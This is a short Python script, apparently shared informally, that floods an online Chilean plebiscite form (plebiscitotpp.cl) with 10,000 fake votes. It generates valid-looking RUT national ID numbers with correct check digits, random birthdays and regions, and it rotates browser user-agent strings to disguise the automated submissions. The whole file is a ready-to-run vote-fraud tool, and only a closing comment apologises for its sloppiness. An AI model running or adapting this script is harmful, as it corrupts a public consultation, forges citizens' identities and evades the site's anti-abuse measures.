# -*- coding: utf-8 -*-
import requests
import random
from datetime import datetime
from itertools import cycle
URL = 'https://www.plebiscitotpp.cl/index.php'
SUCCESS = '<script>alert("Su voto ha sido ingresado correctamente");</script>'
AGENTS = (
'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240',
'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
'Mozilla/5.0 (Linux; Android 9.0.99) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3738.4 Mobile Safari/537.36',
'Mozilla/5.0 (Linux; Android 10.1.0; Galaxy S10 Build/IMM76B) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/64.0.1025.133 Mobile Safari/535.19',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
)
class Vote:
regions = (
'Región de Arica y Parinacota',
'Región de Tarapacá',
'Región de Antofagasta',
'Región de Atacama',
'Región de Coquimbo',
'Región de Valparaíso',
'Región del Libertador Gral. Bernardo O’Higgins',
'Región del Maule',
'Región del Ñuble',
'Región del Biobío',
'Región de la Araucanía',
'Región de Los Ríos',
'Región de Los Lagos',
'Región de Aisén del Gral. Carlos Ibáñez del Campo',
'Región de Magallanes y de la AntárVca Chilena',
'Región Metropolitana de Santiago',
'Extranjero'
)
def __init__(self):
self.rut = random.randint(4000000, 21000000)
self.birthday = datetime.fromtimestamp(
random.randint(-978307200, 1167609600))
self.region = random.randint(0, 16)
self.vote = random.randint(1, 2)
@staticmethod
def gen_rut_dv(rut):
reversed_digits = map(int, reversed(str(rut)))
factors = cycle(range(2, 8))
s = sum(d * f for d, f in zip(reversed_digits, factors))
s = (-s) % 11
if s == 10:
return 'K'
else:
return str(s)
def __rut_format(self):
if random.randint(0, 1) == 1:
return '{:d}-{}'.format(self.rut, Vote.gen_rut_dv(self.rut))
else:
return '{}-{}'.format('{:,}'.format(self.rut).replace(',', '.'),
Vote.gen_rut_dv(self.rut))
def to_form_data(self):
return {
'rut': self.__rut_format(),
'dia': self.birthday.day,
'mes': '{:02d}'.format(self.birthday.month),
'ano': self.birthday.year,
'regiones': Vote.regions[self.region],
'account': self.vote,
'dig': self.birthday.strftime('%y%m%d')
}
s = requests.Session()
for i in range(10000):
vote = Vote()
headers = {'user-agent': AGENTS[random.randint(0, 7)]}
req = s.post(URL, data=vote.to_form_data(), headers=headers)
if (req.text[:100].strip().startswith(SUCCESS)):
print('{} de 10000: exito'.format(i+1))
else:
print('{} de 10000: FALLO'.format(i+1))
print(req.text[:100].strip())
Sorry por lo penca del codigo, tampoco queria esforzarme mucho.